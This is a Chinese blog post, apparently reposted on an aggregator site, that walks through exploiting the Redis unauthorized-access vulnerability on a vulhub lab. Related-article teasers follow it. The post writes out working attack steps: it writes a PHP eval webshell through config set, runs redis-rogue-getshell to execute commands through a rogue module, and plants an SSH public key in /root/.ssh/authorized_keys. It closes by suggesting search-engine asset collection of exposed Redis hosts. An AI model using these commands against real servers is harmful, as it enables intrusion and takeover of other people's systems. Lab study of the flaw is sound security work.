Redis未授权访问漏洞复现与工具安装

news2025/2/24 23:30:36

目录

一、漏洞简介

二、靶场搭建

三、漏洞检测

四、工具安装

五、远程连接

六、利用Redis写入webshell

七、redis-getShell工具

八、ssh公私钥免密登录

九、其他


一、漏洞简介

redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。Redis未授权访问影响版本为5.0.5以下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

二、靶场搭建

漏洞复现基于vulhub靶场

关于docker、docker-compose、vulhub这些的安装我就不介绍了,网上有教程。

安装好vulhub靶场,切换到Redis目录

cd redis

进入未授权访问漏洞 

cd 4-unacc

 拉取镜像

docker-compose up -d

拉取成功后,查看运行的容器

docker ps 

三、漏洞检测

新建一个IP.txt,输入我们虚拟机kali的IP用于测试

写个脚本进行漏洞检测(我们这里只检测默认端口6379)

运行后发现192.168.249.128确实存在未授权访问漏洞

四、工具安装

基于redis-cli工具

我们再开一台kali

我也是刚装的,以前一台就够用了

"the quieter you become,the more you are able to hear"

给kali安装redis-cli远程连接工具

下载

wget http://download.redis.io/redis-stable.tar.gz

解压 

tar -zxvf redis-stable.tar.gz

切换到redis-stable

cd redis-stable

 

使用make命令自动编译文件

make 

将src下的redis-cli 复制到 /usr/bin/(相当于Windows的添加环境变量)

cp src/redis-cli /usr/bin/

验证工具是否配置成功

redis-cli -h

没有报错 ,至此我们已经成功安装redis-cli 

五、远程连接

使用redis-cli命令直接远程免密登录redis主机

(也可以追加参数-p指定端口,默认是在6379)

redis-cli -h 目标主机IP

如果有密码则使用

redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

常用命令

1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.查看所有键:keys *,使用 select num可以查看键值数据
5.设置变量:set test "myon"
6.config set dir dirpath设置路径等配置
7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量:查看变量名称

比如我们执行info命令查看信息

如果能成功回显正常内容,那么基本上可以确认是存在Redis未授权访问漏洞的。

六、利用Redis写入webshell

首先补充一个知识点:

进入docker容器的命令

docker exec -it 容器id号 /bin/bash

这样我们就可以知道docker容器里的目录信息 

接下来我们通过Redis远程连接写入webshell

比如我们写在tmp目录下,设置文件位置和文件名

config set dir /tmp
config set dbfilename shell.php

看到OK说明就是执行成功了的 

写入webshell内容

set xxx "<?php eval($_REQUEST[cmd]);?>" 
或者
set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"   

\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,因此推荐使用第二种。

写入之后,使用save命令保存

此时,我们在靶场容器的tmp目录下就可以看到这个一句话木马

但是我们只知道shell.php在docker容器的路径,无法知道shell.php的绝对路径,因此无法从外界直接访问到也无法使用蚁剑连接,除非我们能找到文件的绝对路径。

七、redis-getShell工具

下载与编译

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-getShell
cd RedisModulesSDK/
make

利用此工具进行getShell,执行任意命令

切回上一级目录

使用Python执行

python redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"

比如

python redis-master.py -r 192.168.249.128 -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

或者使用./执行

./redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

八、ssh公私钥免密登录

登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)

 在攻击机中生成ssh公钥和私钥文件,密码为空

ssh-keygen -t rsa

进入/root/.ssh目录下,将生成的公钥保存到myon.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > myon.txt

使用redis-cli 命令连接靶机,把myon.txt写入redis中  

cat myon.txt | redis-cli -h 192.168.249.128 -x set crack

遇到报错:(error) READONLY You can't write against a read only slave

报错原因:

Redis 主服务器(master server)具有读写的权限,而 从服务器(slave master)默认 只具有 读 的权限。如果强行在从服务器中接入数据,则报错提示“(error) READONLY You can't write against a read only slave”。 

解决方法:

方法1:修改 redis.conf 配置文件(永久生效)
        修改 redis.conf 配置文件中的参数  slave-read-only  yes ,将 yes 修改为 no ;

        然后保存并重启 redis 服务,此刻从服务器就具备了 读写权限。

        (注意:此方法必须重启 Redis 服务,才能使配置生效。)

方法2:redis-cli 命令行中使用 config set 命令修改
       在从Redis从服务器客户端命令行中 (redis-cli),通过 config set slave-read-only no 进行设置,立即生效,不需要重启 Redis 服务。

       (注意:若Redis从服务器重新启动,之前的设置参数就会失效,又会出现 redis 从服务器只有读权限。)

这里只是测试,我使用方法二进行修改

成功

再次执行上述命令

OK

更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)  

config set dir /root/.ssh

报错:(error) ERR Changing directory: Permission denied

没有root权限

九、其他

资产收集

product="redis"

可以看到使用resist的IP还是很多的 

那么如果各位对实战感兴趣的话后面也可以给大家出一篇实战的,使用一些端口扫描、漏洞检测工具等进行poc的验证。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1383714.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

16 张动图讲透网络原理

网络其实存在于日常生活中的每一个角落。 你的电脑&#xff0c;打印机&#xff0c;手机&#xff0c;甚至电视等等都属于网络设备。通常&#xff0c;你需要将这些设备通过网络连接起来&#xff0c;这样就可以实现数据的传输和共享&#xff0c;让工作生活更加便捷。 如果你的连接…

模型索引:QModelIndex

一、为什么要使用模型索引&#xff1f; 从名字可以看出&#xff0c;他是模型的索引&#xff0c;只要对模型实体&#xff08;各种xxxModel的实体&#xff09;施加这个索引&#xff0c;model就会返回数据集中对应的值&#xff0c;或者通过这个索引修改对应数据集中的值。 类比数…

【linux】软链接创建(linux的快捷方式创建)

软连接的概念 类似于windows系统中的快捷方式。有的文件目录很长或者每次使用都要找很不方便&#xff0c;于是可以用类似windows的快捷方式的软链接在home&#xff08;初始目录类似于桌面&#xff09;上创建一些软链接方便使用。 软链接的语法 ln -s 参数1 参数2 参数1&#…

GitHub图床搭建

1 准备Github账号 如果没有Github账号需要先在官网注册一个账号 2 创建仓库 在github上创建一个仓库&#xff0c;随便一个普通的仓库就行&#xff0c;选择公共仓库 3 github token获取 github token创建方式可以参考下面的方式&#xff1a; https://www.xichangyou.com/6…

树及二叉树

文章目录 树的概念和结构树的概念树的相关概念 二叉树的概念和结构概念特殊的二叉树二叉树的性质二叉树的存储结构顺序存储链式存储 二叉树的顺序结构及实现二叉树的顺序结构堆的概念及结构 二叉树链式结构的实现二叉树的遍历 树的概念和结构 树的概念 树是一种非线性的数据结…

Vulnhub-DC1

前言 一个比较简单的实战靶场&#xff0c;官方要求是找到/root下的flag&#xff0c;所以直接提权即可。但对于学习和训练来说还是太简略了&#xff0c;在打靶场的时候还是全面一些较好。 本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提…

京东001号快递员,刘强东给的买房承诺,仅4年时间就实现了

京东001号快递员金宜财正式退休&#xff0c;不知是有意还是无意&#xff0c;他成为了互联网的热搜&#xff0c;不过大众更关心的是金宜财当年得到刘强东的承诺&#xff0c;只要干几年就能买房&#xff0c;那么刘强东的承诺有没有实现&#xff0c;又是如何实现的呢&#xff1f; …

【Vue3】2-11 : 生命周期钩子函数及原理分析

本书目录&#xff1a;点击进入 一、组件生命周期概述 1.1 官方生命周期 1.2 钩子函数&#xff08;回调函数&#xff09; ▶ 生命周期可划分为三个部分(- >表示执行循序)&#xff1a; 二、实战&#xff1a;测试生命周期流程 &#xff1e; 代码 &#xff1e; 效果 一…

软件测试|如何使用Python取句中中英文内容

简介 提取句子中的中英文内容在自然语言处理中是一个常见任务&#xff0c;通常用于文本处理、机器翻译和语言学研究。本文将详细介绍如何使用 Python 提取句子中的中英文内容&#xff0c;包括准备工作、选择合适的库、编写代码示例和演示示例。 准备工作 我们可以使用Python…

ruoyi后台管理系统部署-4-安装nginx

yum 安装 ngix 1.24 yum 官方源安装&#xff1a; # 1. 需要预先安装 yum-utils sudo yum install yum-utils # 2. 配置yum repo touch /etc/yum.repos.d/nginx.repongix.repo: [nginx-stable] namenginx stable repo baseurlhttp://nginx.org/packages/centos/$releasever/$…

【26 预处理详解】

目录 预定义符号#define定义常量#define定义宏带有副作用的宏参数宏替换的规则宏函数的对比#和##命名约定#undef命令行定义条件编译头文件的包含其他预处理指令 1. 预定义符号 c语言设置了一些预定义符号&#xff0c;可以直接使用&#xff0c;预定义符号也是在预处理期间处理…

江科大STM32 下

目录 7、ADC数模转换器8、DMA直接存储器存取9、USART串口9-2 串口发送接受9-3 串口收发HEX数据包 I2CSPI协议10.1 SPI简介W25Q64简介10.3 SPI软件读写W25Q6410.4 SPI硬件读写W25Q64 BKP、RTC11.0 Unix时间戳11.1 读写备份寄存器BKP11.2 RTC实时时钟 十二、PWR12.1 PWR简介12.2 …

Java21 + SpringBoot3集成WebSocket

文章目录 前言相关技术简介什么是WebSocketWebSocket的原理WebSocket与HTTP协议的关系WebSocket优点WebSocket应用场景 实现方式1. 添加maven依赖2. 添加WebSocket配置类&#xff0c;定义ServerEndpointExporter Bean3. 定义WebSocket Endpoint4. 前端创建WebSocket对象 总结 前…

Camunda Postman

一&#xff1a;下载 https://artifacts.camunda.com/ui/native/camunda-bpm/org/camunda/bpm/camunda-engine-rest-openapi/7.17.0/ 下载camunda-engine-rest-openapi-7.17.0.jar解压获取openapi.json 二&#xff1a;Postman导入 Postman -> File -> Import -> 上…

百度面经整理(2024最新)

百度 面经1 shiro的组件分布式一致性算法zookeeper那些能参与投票&#xff0c;leader能投票吗&#xff1f;netty零拷贝实现volatile&#xff0c;如何感知到变量变化的redis高可用http如何跨域&#xff1f;tcp如何长链接。http如何操作浏览器缓存。用过消息队列吗&#xff1f;…

在众多的材质中选择灰口铸铁铸造划线平台、铸铁平台等的原因——河北北重

使用灰口铸铁制作铸铁平台和划线平台的主要原因有以下几点&#xff1a; 强度高&#xff1a;灰口铸铁具有较高的强度和硬度&#xff0c;能够承受较大的载荷和冲击力。这使得灰口铸铁非常适合制作需要承受重压和磨损的平台和设备。 耐磨性好&#xff1a;灰口铸铁具有较高的耐磨性…

第六站:C++面向对象关键字解释说明

this指针: 是一个特殊的指针,放回这个对象本身,this指针是属于实例对象,不能访问静态方法(不属于某一个实例对象,属于共有的,大众的,由类直接调用) 第一种用法: void Human::setName(string name1) {this->name name1; } void Human::setAge(int age1) {this->age a…

张载为往圣继绝学,唯一的错是不够强大

“自古雄才多磨难&#xff0c;从来纨绔少伟男。” 张载&#xff0c;人称“横渠先生”。他在横渠镇&#xff0c;授徒讲学&#xff0c;恢复古礼&#xff0c;试验井田&#xff0c;写书《正蒙》。张载讲学关中&#xff0c;弟子多为关中人&#xff0c;其学派被称作关学。 张载自学…

开源知识库zyplayer-doc部署指南

1.前置条件 docker已经安装 mysql已经安装且数据库zyplayer-doc存在 服务器ip:192.168.168.99/ 数据库账户:root,密码:123456 2.拉取镜像 docker pull zyplayer/zyplayer-doc:latest 3.启动 docker run -d \--restart unless-stopped \--name zyplayer-doc \-p 8083:8083 …

Docker安装Redis详细步骤

1、创建安装目录 mkdir -p /usr/local/docker/redis-docker 2、确定安装的版本 确定对应的版本&#xff0c;在步骤3中会用到&#xff1a; https://github.com/redis/redis/branches 3、配置docker-compose.yml 内容如下&#xff1a; version: 3 services:redis:image: r…